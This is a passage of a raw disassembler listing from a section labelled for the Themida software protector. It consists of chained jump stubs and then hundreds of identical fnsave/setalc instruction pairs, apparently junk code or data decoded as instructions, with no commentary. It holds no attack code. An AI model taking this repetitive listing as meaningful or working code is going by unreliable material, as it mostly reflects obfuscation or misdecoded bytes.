		jnp	short loc_6140E3
		adc	ch, ch


loc_6140C3:				; CODE XREF: Themida_:loc_61409Fj
		jnp	short loc_6140E7
		adc	ch, ch


loc_6140C7:				; CODE XREF: Themida_:loc_6140A3j
		jnp	short loc_6140EB
		adc	ch, ch


loc_6140CB:				; CODE XREF: Themida_:loc_6140A7j
		jnp	short loc_6140EF
		adc	ch, ch


loc_6140CF:				; CODE XREF: Themida_:loc_6140ABj
		jnp	short loc_6140F3
		adc	ch, ch


loc_6140D3:				; CODE XREF: Themida_:loc_6140AFj
		jnp	short loc_6140F7
		adc	ch, ch


loc_6140D7:				; CODE XREF: Themida_:loc_6140B3j
		jnp	short loc_6140FB
		adc	ch, ch


loc_6140DB:				; CODE XREF: Themida_:loc_6140B7j
		jnp	short loc_6140FF
		adc	ch, ch


loc_6140DF:				; CODE XREF: Themida_:loc_6140BBj
		jnp	short loc_614103
		adc	ch, ch


loc_6140E3:				; CODE XREF: Themida_:loc_6140BFj
		jnp	short loc_614107
		adc	ch, ch


loc_6140E7:				; CODE XREF: Themida_:loc_6140C3j
		jnp	short loc_61410B
		adc	ch, ch


loc_6140EB:				; CODE XREF: Themida_:loc_6140C7j
		jnp	short loc_61410F
		adc	ch, ch


loc_6140EF:				; CODE XREF: Themida_:loc_6140CBj
		jnp	short loc_614113
		adc	ch, ch


loc_6140F3:				; CODE XREF: Themida_:loc_6140CFj
		jnp	short loc_614117
		adc	ch, ch


loc_6140F7:				; CODE XREF: Themida_:loc_6140D3j
		jnp	short loc_61411B
		adc	ch, ch


loc_6140FB:				; CODE XREF: Themida_:loc_6140D7j
		jnp	short loc_61411F
		adc	ch, ch


loc_6140FF:				; CODE XREF: Themida_:loc_6140DBj
		jnp	short loc_614123
		adc	ch, ch


loc_614103:				; CODE XREF: Themida_:loc_6140DFj
		jnp	short loc_614127
		adc	ch, ch


loc_614107:				; CODE XREF: Themida_:loc_6140E3j
		jnp	short loc_61412B
		adc	ch, ch


loc_61410B:				; CODE XREF: Themida_:loc_6140E7j
		jnp	short loc_61412F
		adc	ch, ch


loc_61410F:				; CODE XREF: Themida_:loc_6140EBj
		jnp	short loc_614133
		adc	ch, ch


loc_614113:				; CODE XREF: Themida_:loc_6140EFj
		jnp	short loc_614137
		adc	ch, ch


loc_614117:				; CODE XREF: Themida_:loc_6140F3j
		jnp	short loc_61413B
		adc	ch, ch


loc_61411B:				; CODE XREF: Themida_:loc_6140F7j
		jnp	short loc_61413F
		adc	ch, ch


loc_61411F:				; CODE XREF: Themida_:loc_6140FBj
		jnp	short loc_614143
		adc	ch, ch


loc_614123:				; CODE XREF: Themida_:loc_6140FFj
		jnp	short loc_614147
		adc	ch, ch


loc_614127:				; CODE XREF: Themida_:loc_614103j
		jnp	short loc_61414B
		adc	ch, ch


loc_61412B:				; CODE XREF: Themida_:loc_614107j
		jnp	short loc_61414F
		adc	ch, ch


loc_61412F:				; CODE XREF: Themida_:loc_61410Bj
		jnp	short loc_614153
		adc	ch, ch


loc_614133:				; CODE XREF: Themida_:loc_61410Fj
		jnp	short loc_614157
		adc	ch, ch


loc_614137:				; CODE XREF: Themida_:loc_614113j
		jnp	short loc_61415B
		adc	ch, ch


loc_61413B:				; CODE XREF: Themida_:loc_614117j
		jnp	short loc_61415F
		adc	ch, ch


loc_61413F:				; CODE XREF: Themida_:loc_61411Bj
		jnp	short loc_614163
		adc	ch, ch


loc_614143:				; CODE XREF: Themida_:loc_61411Fj
		jnp	short loc_614167
		adc	ch, ch


loc_614147:				; CODE XREF: Themida_:loc_614123j
		jnp	short loc_61416B
		adc	ch, ch


loc_61414B:				; CODE XREF: Themida_:loc_614127j
		jnp	short loc_61416F
		adc	ch, ch


loc_61414F:				; CODE XREF: Themida_:loc_61412Bj
		jnp	short loc_614173
		adc	ch, ch


loc_614153:				; CODE XREF: Themida_:loc_61412Fj
		jnp	short loc_614177
		adc	ch, ch


loc_614157:				; CODE XREF: Themida_:loc_614133j
		jnp	short loc_61417B
		adc	ch, ch


loc_61415B:				; CODE XREF: Themida_:loc_614137j
		jnp	short loc_61417F
		adc	ch, ch


loc_61415F:				; CODE XREF: Themida_:loc_61413Bj
		jnp	short loc_614183
		adc	ch, ch


loc_614163:				; CODE XREF: Themida_:loc_61413Fj
		jnp	short loc_614187
		adc	ch, ch


loc_614167:				; CODE XREF: Themida_:loc_614143j
		jnp	short loc_61418B
		adc	ch, ch


loc_61416B:				; CODE XREF: Themida_:loc_614147j
		jnp	short loc_61418F
		adc	ch, ch


loc_61416F:				; CODE XREF: Themida_:loc_61414Bj
		fnsave	byte ptr [ecx+5Fh]
		setalc


loc_614173:				; CODE XREF: Themida_:loc_61414Fj
		fnsave	byte ptr [ecx+5Fh]
		setalc


loc_614177:				; CODE XREF: Themida_:loc_614153j
		fnsave	byte ptr [ecx+5Fh]
		setalc


loc_61417B:				; CODE XREF: Themida_:loc_614157j
		fnsave	byte ptr [ecx+5Fh]
		setalc


loc_61417F:				; CODE XREF: Themida_:loc_61415Bj
		fnsave	byte ptr [ecx+5Fh]
		setalc


loc_614183:				; CODE XREF: Themida_:loc_61415Fj
		fnsave	byte ptr [ecx+5Fh]
		setalc


loc_614187:				; CODE XREF: Themida_:loc_614163j
		fnsave	byte ptr [ecx+5Fh]
		setalc


loc_61418B:				; CODE XREF: Themida_:loc_614167j
		fnsave	byte ptr [ecx+5Fh]
		setalc


loc_61418F:				; CODE XREF: Themida_:loc_61416Bj
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
		fnsave	byte ptr [ecx+5Fh]
		setalc
